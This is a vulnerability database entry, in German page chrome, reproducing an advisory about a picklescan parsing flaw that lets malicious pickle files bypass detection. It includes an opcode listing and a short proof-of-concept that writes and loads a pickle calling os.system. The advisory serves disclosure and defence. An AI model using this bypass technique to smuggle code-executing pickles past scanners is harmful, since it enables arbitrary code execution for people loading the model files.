Hoch

Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass

  • Veröffentlicht: 12.08.2025
  • Aktualisiert: 11.10.2026 13:18

Details

There's a parsing logic error in picklescan and modelscan while trying to deal with opcode STACK_GLOBAL. Function _list_globals when handling STACK_GLOBAL at position n, it is expected to track two arguments but in wrong range. The loop only consider the range from 1 to n-1 but forgets to consider the opcode at position 0. The correct range should be 0 to n-1. Attacker can put arg in position 0, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.

Example:

    0: S    STRING     'os' --> arg 0: STRING (untracked argument due to wrong scanning range)
    6: S    STRING     'system' --> arg 1: STRING (tracked argument)
   16: \x93 STACK_GLOBAL
   17: S    STRING     'ls'
   23: \x85 TUPLE1
   24: R    REDUCE
   25: .    STOP

PoC

python
import pickle
payload = b"S'os'\nS'system'\n\x93S'ls'\n\x85R."
with open('bad_pickle.pkl', 'wb') as f:
    f.write(payload)
pickle.load(open('bad_pickle.pkl', 'rb'))

Impact

Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection.

Fix

To fix the range here, change range(1, n) to range(1, n+1) to ensure that n-offset stays within the range of 0 to n. https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) picklescan < 0.0.27 0.0.27

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Schwäche (CWE)
CWE-502
Plattform
Python (PyPI)
Paket
picklescan
Veröffentlicht
12.08.2025
Aktualisiert
11.10.2026 13:18

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-1788 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-9gvj-pp9x-gcfr - CC BY 4.0

Schwachstellenhistorie: picklescan

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (58) im Archiv
Einträge insgesamt
58
Erste → letzte
02.2025 03.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 7
  • Hoch 25
  • Mittel 26

Veröffentlichungen pro Jahr

  1. 2025: 51
  2. 2026: 7
Schweregrad:
  1. Kritisch · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  2. Kritisch · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  3. Hoch · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  4. Hoch · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  5. Hoch ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  6. Hoch CVE-2025-71320 < 0.0.33 0.0.33
  7. Hoch · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  8. Hoch CVE-2025-71321 < 0.0.33 0.0.33
  9. Kritisch · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
  10. Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass dieser Eintrag
    Hoch CVE-2025-71325 < 0.0.27 0.0.27

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.